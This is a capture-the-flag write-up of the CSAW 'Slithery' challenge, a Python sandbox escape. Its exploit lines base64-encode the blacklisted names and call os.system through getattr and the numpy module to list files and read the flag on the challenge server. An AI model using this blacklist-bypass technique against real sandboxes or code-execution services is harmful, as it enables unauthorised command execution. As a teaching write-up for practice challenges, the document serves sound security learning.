# Slithery
## Problem description
Setting up a new coding environment for my data science students. Some of themare l33t h4ck3rs that got RCE and crashed my machine a few times :(. Can youhelp test this before I use it for my class? Two sandboxes should be betterthan one...
```nc pwn.chal.csaw.io 5011```
[sandbox.py](https://ctf.csaw.io/files/f273beef210bb77ed37ab74d82cb9799/sandbox.py?token=eyJ1c2VyX2lkIjo1MzYzLCJ0ZWFtX2lkIjo1MzI3LCJmaWxlX2lkIjo3NDMwfQ.X14Svg.zXKY8HMMgjM64swHwOaCZeUN5aE)
Category: pwn. Points: 100.
### sandbox.py```#!/usr/bin/env python3from base64 import b64decodeimport blacklist  # you don't get to see this :p
"""Don't worry, if you break out of this one, we have another one underneath so that you won'twreak any havoc!"""
def main():    print("EduPy 3.8.2")    while True:        try:            command = input(">>> ")            if any([x in command for x in blacklist.BLACKLIST]):                raise Exception("not allowed!!")
            final_cmd = """uOaoBPLLRN = open("sandbox.py", "r")uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]uOaoBPLLRN.close()HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command            exec(final_cmd)
        except (KeyboardInterrupt, EOFError):            return 0        except Exception as e:            print(f"Exception: {e}")
if __name__ == "__main__":    exit(main())```
## Personal noteFirst time solving a pwn challenge. It was fun to do a python challenge,and I also learned some new things about the python language.
## Tools* python3 interpreter
## Solving the challengeThis is a coding environment that accepts python commands. However, there isa blacklist, meaning a lot of our input will not be accepted. We need to getaround the blacklist to execute the commands that will let us read the flag.
This would be the naive approach (without the blacklist):```>>> import os>>> # List files in current directory, hopefully the flag is there>>> os.system("ls")>>> # Assuming the flag is located in flag.txt>>> os.system("cat flag.txt") # Output file content```
Connecting via netcat: `nc pwn.chal.csaw.io 5011`
```EduPy 3.8.2>>> import osException: not allowed!!>>> importException: not allowed!!>>> osException: not allowed!!>>> systemException: not allowed!!```
Thus, we can not import modules the traditional way, and the words "os" and "system"are blacklisted. So we need to find another way to get the flag. Examining sandbox.pygives us some hints. We have access to the script variables from the coding environment,but the easiest way to examine how the code works (without being bothered bythe blacklist) is to paste it into our own python3 interpreter:
```>>> uOaoBPLLRN = open("sandbox.py", "r")>>> uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)>>> ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")>>> AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]>>> bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]>>> uOaoBPLLRN.close()>>> HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)>>> RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))
# Examining variables>>> print(AAnBLJqtRv)base64>>> print(bAfGdqzzpg)b64decode>>> print(HrjYMvtxwA)<function b64decode at 0x7f2dfcadf2f0>>>> print(RMbPOQHCzt)<module 'numpy' from PATH+'/__init__.py'>```
Now we know we can b64decode strings using the HrjYMvtxwA variable. This couldbe a way to circumvent the blacklist.
Maybe we can put code into b64encoded strings, b64decode the strings,and then run the decoded strings with either eval or exec?
Checking the coding environment:```EduPy 3.8.2>>> evalException: not allowed!!>>> execException: not allowed!!```
Seems eval or exec will not work. However, we also have access to the numpy module.We can examine the numpy module further in our own python3 interpreter:```>>> print(RMbPOQHCzt.__dict__)```
This module has a lot of attributes. For instance, I noticed that the sysmodule is exposed through the numpy module.```>>> print(RMbPOQHCzt.sys)<module 'sys' (built-in)>```
So let's see if the os module is also exposed:```>>> print(RMbPOQHCzt.os)<module 'os' from PATH+'os.py'>```
This looks really promising. However, we still have the problem that we can not accessthe os attribute directly from the coding environment, since the word "os" is blacklisted.To get around this restriction, we can first b64encode the word, and then b64decode it.The problem then is that we will only have access to "os" as a string.It is not possible to get an attribute using a string when using dot notation.
```>>> print(RMbPOQHCzt."os")  File "<stdin>", line 1    >>> print(RMbPOQHCzt."os")     ^SyntaxError: invalid syntax```
Actually, sandbox.py uses an alternative approach to access base64.b64decode:```HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)```
Let's find out more:```>>> help(getattr)
Help on built-in function getattr in module builtins:
getattr(...)    getattr(object, name[, default]) -> value
    Get a named attribute from an object; getattr(x, 'y') is equivalent to x.y.```
Using `getattr`, it should be possible to access the os attribute through "os" as a string.
Let's craft our solution in our own interpreter before trying it in the coding environment:```>>> base64.b64encode(b'os')b'b3M='>>> base64.b64encode(b'system')b'c3lzdGVt'>>> o = getattr(RMbPOQHCzt, HrjYMvtxwA(b'b3M=').decode('utf-8'))>>> getattr(o, HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("ls") # Equivalent to os.system("ls")>>> getattr(o, HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("cat flag.txt") # Assuming flag is in flag.txt
```
Connecting to the coding environment:```$ nc pwn.chal.csaw.io 5011EduPy 3.8.2>>> o = getattr(RMbPOQHCzt, HrjYMvtxwA(b'b3M=').decode('utf-8'))>>> getattr(o, HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("ls")                      blacklist.pyflag.txtrunner.pysandbox.pysolver.py>>>>>> getattr(o, HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("cat flag.txt")flag{y4_sl1th3r3d_0ut}```
Finally, we obtain the flag: \`flag{y4_sl1th3r3d_0ut}`